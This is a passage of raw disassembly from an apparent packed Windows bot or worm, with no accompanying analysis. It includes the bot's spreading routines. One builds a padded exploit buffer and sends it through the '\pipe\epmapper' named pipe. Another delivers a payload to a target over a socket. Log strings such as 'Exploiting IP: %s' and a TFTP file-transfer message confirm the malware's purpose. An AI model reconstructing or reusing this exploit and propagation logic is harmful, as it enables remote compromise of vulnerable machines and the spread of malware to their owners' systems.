push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: .packed:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: .packed:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: .packed:0040D69Aj
; .packed:0040D70Dj
push ebx
call dword_4CBA6C ; closesocket
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: .packed:0040D657j
push 3E8h
call dword_427080 ; Sleep
loc_40D737: ; CODE XREF: .packed:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: .packed:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40D765: ; CODE XREF: .packed:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: .packed:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; .packed:00426AA1j ...
push 1
call sub_40D977
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; =============== S U B R O U T I N E =======================================
sub_40D774 proc near ; CODE XREF: sub_40D340+110p
; sub_40D340+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D78E
call sub_42629A
loc_40D78E: ; CODE XREF: sub_40D774+13j
test ebx, ebx
jbe short loc_40D7C5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D7C5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BF70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7C5: ; CODE XREF: sub_40D774+1Cj
; sub_40D774+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D774 endp
; =============== S U B R O U T I N E =======================================
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp
; sub_4261B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D83C
call sub_426173
loc_40D83C: ; CODE XREF: sub_40D824+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D84E
mov esi, [ebp+arg_8]
loc_40D84E: ; CODE XREF: sub_40D824+25j
cmp edi, ebx
jnz short loc_40D870
push dword_427678
add esi, ecx
mov ecx, edi
push esi
call sub_40D9E8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9E8
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D870: ; CODE XREF: sub_40D824+2Cj
test esi, esi
jbe short loc_40D8B3
cmp esi, eax
jnz short loc_40D8B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D884
mov eax, offset dword_427688
loc_40D884: ; CODE XREF: sub_40D824+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8B3
push 1
mov ecx, edi
call sub_40D977
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D89F
mov eax, offset dword_427688
loc_40D89F: ; CODE XREF: sub_40D824+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D8B3: ; CODE XREF: sub_40D824+4Ej
; sub_40D824+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8F2
test al, al
jz short loc_40D8E9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8CD
mov eax, offset dword_427688
loc_40D8CD: ; CODE XREF: sub_40D824+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CD20
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8E9: ; CODE XREF: sub_40D824+4Aj
; sub_40D824+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D824 endp
; =============== S U B R O U T I N E =======================================
sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp
; sub_40D774+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D904
call sub_42629A
loc_40D904: ; CODE XREF: sub_40D8F2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D92D
mov al, [ecx-1]
cmp al, dl
jz short loc_40D92D
cmp al, 0FFh
jz short loc_40D92D
cmp edi, edx
jnz short loc_40D968
dec al
push edx
mov [ecx-1], al
loc_40D922: ; CODE XREF: sub_40D8F2+47j
mov ecx, esi
call sub_40D977
loc_40D929: ; CODE XREF: sub_40D8F2+4Bj
; sub_40D8F2+52j
xor al, al
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D92D: ; CODE XREF: sub_40D8F2+19j
; sub_40D8F2+20j ...
cmp edi, edx
jnz short loc_40D946
cmp [esp+8+arg_4], dl
jz short loc_40D93B
push 1
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D93B: ; CODE XREF: sub_40D8F2+43j
cmp ecx, edx
jz short loc_40D929
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D8F2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D963
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D958
cmp eax, edi
jnb short loc_40D970
loc_40D958: ; CODE XREF: sub_40D8F2+60j
push 1
mov ecx, esi
call sub_40D977
jmp short loc_40D968
; ---------------------------------------------------------------------------
loc_40D963: ; CODE XREF: sub_40D8F2+58j
cmp [esi+0Ch], edi
jnb short loc_40D970
loc_40D968: ; CODE XREF: sub_40D8F2+28j
; sub_40D8F2+6Fj
push edi
mov ecx, esi
call sub_40DA4F
loc_40D970: ; CODE XREF: sub_40D8F2+64j
; sub_40D8F2+74j
mov al, 1
loc_40D972: ; CODE XREF: sub_40D8F2+39j
pop edi
pop esi
retn 8
sub_40D8F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp
; sub_40D340+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D9A3
mov eax, [esi+4]
test eax, eax
jz short loc_40D9A3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D99C
cmp al, 0FFh
jz short loc_40D99C
dec al
mov [ecx], al
jmp short loc_40D9A3
; ---------------------------------------------------------------------------
loc_40D99C: ; CODE XREF: sub_40D977+19j
; sub_40D977+1Dj
push ecx
call sub_41D65F
pop ecx
loc_40D9A3: ; CODE XREF: sub_40D977+8j
; sub_40D977+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D977 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B3 proc near ; CODE XREF: .packed:0040D6D3p
; sub_40DB0C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8F2
test al, al
jz short loc_40D9E1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9E1: ; CODE XREF: sub_40D9B3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p
; sub_40D824+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9FB
call sub_426173
loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj
mov ecx, edi
call sub_40DB0C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA11
mov ebx, eax
loc_40DA11: ; CODE XREF: sub_40D9E8+25j
test ebx, ebx
jbe short loc_40DA47
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D670
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D8F2
test al, al
jz short loc_40DA47
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40DA47: ; CODE XREF: sub_40D9E8+2Bj
; sub_40D9E8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D9E8 endp
; =============== S U B R O U T I N E =======================================
sub_40DA4F proc near ; CODE XREF: sub_40D8F2+79p
mov eax, offset loc_426AD0
call sub_41D640
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40DA75
mov edi, [ebp+8]
loc_40DA75: ; CODE XREF: sub_40DA4F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40DA82
xor eax, eax
loc_40DA82: ; CODE XREF: sub_40DA4F+2Fj
push eax
call sub_41D9A5
pop ecx
mov [ebp+8], eax
jmp short loc_40DAB3
; ---------------------------------------------------------------------------
loc_40DA8E: ; DATA XREF: .packed:00427F84o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40DA9D
xor eax, eax
loc_40DA9D: ; CODE XREF: sub_40DA4F+4Aj
push eax
call sub_41D9A5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40DAAD
retn
; ---------------------------------------------------------------------------
loc_40DAAD: ; DATA XREF: sub_40DA4F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40DAB3: ; CODE XREF: sub_40DA4F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40DAD1
cmp eax, edi
jbe short loc_40DAC0
mov eax, edi
loc_40DAC0: ; CODE XREF: sub_40DA4F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41CD20
add esp, 0Ch
loc_40DAD1: ; CODE XREF: sub_40DA4F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D977
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40DAF1
mov edi, ebx
loc_40DAF1: ; CODE XREF: sub_40DA4F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40DA4F endp
; =============== S U B R O U T I N E =======================================
sub_40DB0C proc near ; CODE XREF: sub_40D9E8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40DB39
mov al, [esi-1]
test al, al
jz short loc_40DB39
cmp al, 0FFh
jz short loc_40DB39
push 1
call sub_40D977
push esi
call sub_41B9C0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D9B3
loc_40DB39: ; CODE XREF: sub_40DB0C+9j
; sub_40DB0C+10j ...
pop edi
pop esi
retn
sub_40DB0C endp
; =============== S U B R O U T I N E =======================================
sub_40DB3C proc near ; DATA XREF: .packed:00429008o
test byte_4DC018, 1
jnz short loc_40DB4C
or byte_4DC018, 1
loc_40DB4C: ; CODE XREF: sub_40DB3C+7j
jmp $+5
push offset nullsub_1
call sub_41DA20
pop ecx
retn
sub_40DB3C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DB5E proc near ; CODE XREF: .packed:0040DF74p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_432940 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43DB88
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4CE6F4
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_4CBA74
cmp eax, 5
mov ebx, 4C3h
jz short loc_40DC22
cmp eax, ebx
jnz short loc_40DC2C
loc_40DC22: ; CODE XREF: sub_40DB5E+BEj
push edi
push edi
push edi
push esi
call dword_4CBA74
loc_40DC2C: ; CODE XREF: sub_40DB5E+C2j
cmp eax, 5
jz short loc_40DC3A
cmp eax, ebx
jz short loc_40DC3A
push 1
pop eax
jmp short loc_40DC3C
; ---------------------------------------------------------------------------
loc_40DC3A: ; CODE XREF: sub_40DB5E+D1j
; sub_40DB5E+D5j
xor eax, eax
loc_40DC3C: ; CODE XREF: sub_40DB5E+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_40DB5E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC41 proc near ; CODE XREF: .packed:0040DFC6p
; .packed:0040E0A6p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_432948
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_432940 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43DB88
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_4270E8 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_41DA61
add esp, 10h
loc_40DCD2: ; CODE XREF: sub_40DC41+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_4CB90C
test eax, eax
jz short loc_40DCF2
push 7D0h
call dword_427080 ; Sleep
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCF2: ; CODE XREF: sub_40DC41+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_40DC41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCF9 proc near ; CODE XREF: .packed:0040DFF5p
; .packed:0040E133p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_41C500
push esi
push edi
push offset byte_429108
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_40B22B
mov edi, eax
add esp, 10h
test edi, edi
jz loc_40DF48
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_41CD20
add esp, 24h
lea esi, [edi+0D7h]
loc_40DD7E: ; CODE XREF: sub_40DCF9+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40DDCE
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_41CD20
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_41BF70
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_41CD20
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_40DD7E
; ---------------------------------------------------------------------------
loc_40DDCE: ; CODE XREF: sub_40DCF9+90j
cmp [ebp+arg_C4], 0
jz short loc_40DDE9
cmp [ebp+arg_C0], 3
jz short loc_40DDF2
cmp [ebp+arg_C0], 0
jmp short loc_40DDF0
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: sub_40DCF9+DCj
cmp [ebp+arg_C0], 3
loc_40DDF0: ; CODE XREF: sub_40DCF9+EEj
jnz short loc_40DDFB
loc_40DDF2: ; CODE XREF: sub_40DCF9+E5j
push 4
push offset dword_43293C
jmp short loc_40DE02
; ---------------------------------------------------------------------------
loc_40DDFB: ; CODE XREF: sub_40DCF9:loc_40DDF0j
push 4
push offset dword_432938
loc_40DE02: ; CODE XREF: sub_40DCF9+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_432470
push eax
call sub_41CD20
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4327D4
push eax
call sub_41CD20
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_41CD20
lea edi, [esi+370h]
push 3Ch
push offset off_4327E8
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
add edi, 3Ch
push 30h
push offset dword_432828
lea eax, [ebp+edi+var_1004]
push eax
call sub_41CD20
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_41BEB5
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_41BF70
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_41CD20
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_40DF48: ; CODE XREF: sub_40DCF9+3Ej
pop edi
pop esi
leave
retn
sub_40DCF9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 1338h
call sub_41C500
cmp dword ptr [ebp+0A8h], 1BDh
push ebx
push esi
push edi
jnz loc_40E0BA
lea eax, [ebp-34h]
push eax
lea eax, [ebp+0Ch]
push eax
call sub_40DB5E
pop ecx
test eax, eax
pop ecx
jz loc_40E1CA
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-338h]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_41C266
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp-338h]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_4270F8 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DFD1
loc_40DFC2: ; CODE XREF: .packed:0040E072j
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
pop ecx
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40DFD1: ; CODE XREF: .packed:0040DFC0j
lea eax, [ebp+0Ch]
push 2
push eax
call sub_4182CD
pop ecx
lea esi, [ebp+8]
pop ecx
push 1
push eax
lea eax, [ebp-10h]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
add esp, 0C8h
cmp eax, ebx
mov [ebp-8], eax
jz short loc_40E069
mov edi, 186A0h
push edi
call sub_41BEB5
mov esi, eax
push edi
push ebx
push esi
call sub_41BF70
add esp, 10h
lea eax, [ebp-0Ch]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_432424
push dword ptr [ebp-4]
call dword_4270F4 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_40E059
lea eax, [ebp-14h]
push ebx
push eax
push dword ptr [ebp-10h]
push dword ptr [ebp-8]
push dword ptr [ebp-4]
call dword_4270F0 ; WriteFile
test eax, eax
jnz short loc_40E077
loc_40E059: ; CODE XREF: .packed:0040E03Fj
push esi
call sub_41BA91
push dword ptr [ebp-8]
call sub_41BA91
pop ecx
pop ecx
loc_40E069: ; CODE XREF: .packed:0040E005j
push dword ptr [ebp-4]
call dword_427070 ; CloseHandle
jmp loc_40DFC2
; ---------------------------------------------------------------------------
loc_40E077: ; CODE XREF: .packed:0040E057j
lea eax, [ebp-0Ch]
push ebx
push eax
push edi
push esi
push dword ptr [ebp-4]
call dword_4270EC ; ReadFile
push dword ptr [ebp-8]
mov edi, eax
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
push dword ptr [ebp-4]
call dword_427070 ; CloseHandle
lea eax, [ebp+0Ch]
push eax
call sub_40DC41
cmp edi, 1
pop ecx
jnz loc_40E1DE
jmp loc_40E1CA
; ---------------------------------------------------------------------------
loc_40E0BA: ; CODE XREF: .packed:0040DF66j
lea eax, [ebp+0Ch]
push 1
push eax
call sub_4182CD
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40E1CA
xor ebx, ebx
push ebx
push 1
push 2
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40E1CA
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov word ptr [ebp-24h], 2
push dword ptr [ebp+0A8h]
call dword_4CB9D4 ; htons
mov [ebp-22h], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14 ; inet_addr
mov [ebp-20h], eax
push ebx
lea eax, [ebp-0Ch]
push esi
push eax
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DCF9
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40E14C
push dword ptr [ebp-4]
jmp short loc_40E1C4
; ---------------------------------------------------------------------------
loc_40E14C: ; CODE XREF: .packed:0040E145j
mov edi, [ebp-4]
lea eax, [ebp-24h]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E164
loc_40E161: ; CODE XREF: .packed:0040E176j
push esi
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E164: ; CODE XREF: .packed:0040E15Fj
push ebx
push 48h
push offset dword_432424
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E161
mov esi, 1000h
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push ebx
push dword ptr [ebp-0Ch]
push dword ptr [ebp-8]
push edi
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E1A5
push dword ptr [ebp-8]
jmp short loc_40E1BD
; ---------------------------------------------------------------------------
loc_40E1A5: ; CODE XREF: .packed:0040E19Ej
push ebx
lea eax, [ebp-1338h]
push esi
push eax
push edi
call dword_4CB9EC ; recv
push dword ptr [ebp-8]
cmp eax, 0FFFFFFFFh
jnz short loc_40E1D1
loc_40E1BD: ; CODE XREF: .packed:0040E162j
; .packed:0040E1A3j
call sub_41BA91
pop ecx
push edi
loc_40E1C4: ; CODE XREF: .packed:0040E14Aj
call dword_4CBA6C ; closesocket
loc_40E1CA: ; CODE XREF: .packed:0040DF7Dj
; .packed:0040DFCCj ...
xor eax, eax
jmp loc_40E28D
; ---------------------------------------------------------------------------
loc_40E1D1: ; CODE XREF: .packed:0040E1BBj
call sub_41BA91
pop ecx
push edi
call dword_4CBA6C ; closesocket
loc_40E1DE: ; CODE XREF: .packed:0040E0AFj
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"...
push eax
call sub_41C266
add esp, 0Ch
xor esi, esi
loc_40E1F8: ; CODE XREF: .packed:0040E218j
lea eax, [ebp-234h]
push eax
call sub_415E19
test eax, eax
pop ecx
jnz short loc_40E21C
push 1388h
call dword_427080 ; Sleep
inc esi
cmp esi, 6
jl short loc_40E1F8
jmp short loc_40E28A
; ---------------------------------------------------------------------------
loc_40E21C: ; CODE XREF: .packed:0040E207j
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
lea eax, [ebp-234h]
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
push eax
call sub_41C266
add esp, 10h
cmp [ebp+0BCh], ebx
jnz short loc_40E268
push ebx
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
add esp, 14h
loc_40E268: ; CODE XREF: .packed:0040E249j
lea eax, [ebp-234h]
push eax
call sub_415D38
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40E28A: ; CODE XREF: .packed:0040E21Aj
push 1
pop eax
loc_40E28D: ; CODE XREF: .packed:0040E1CCj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E292 proc near ; CODE XREF: sub_40E3F1+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_4]
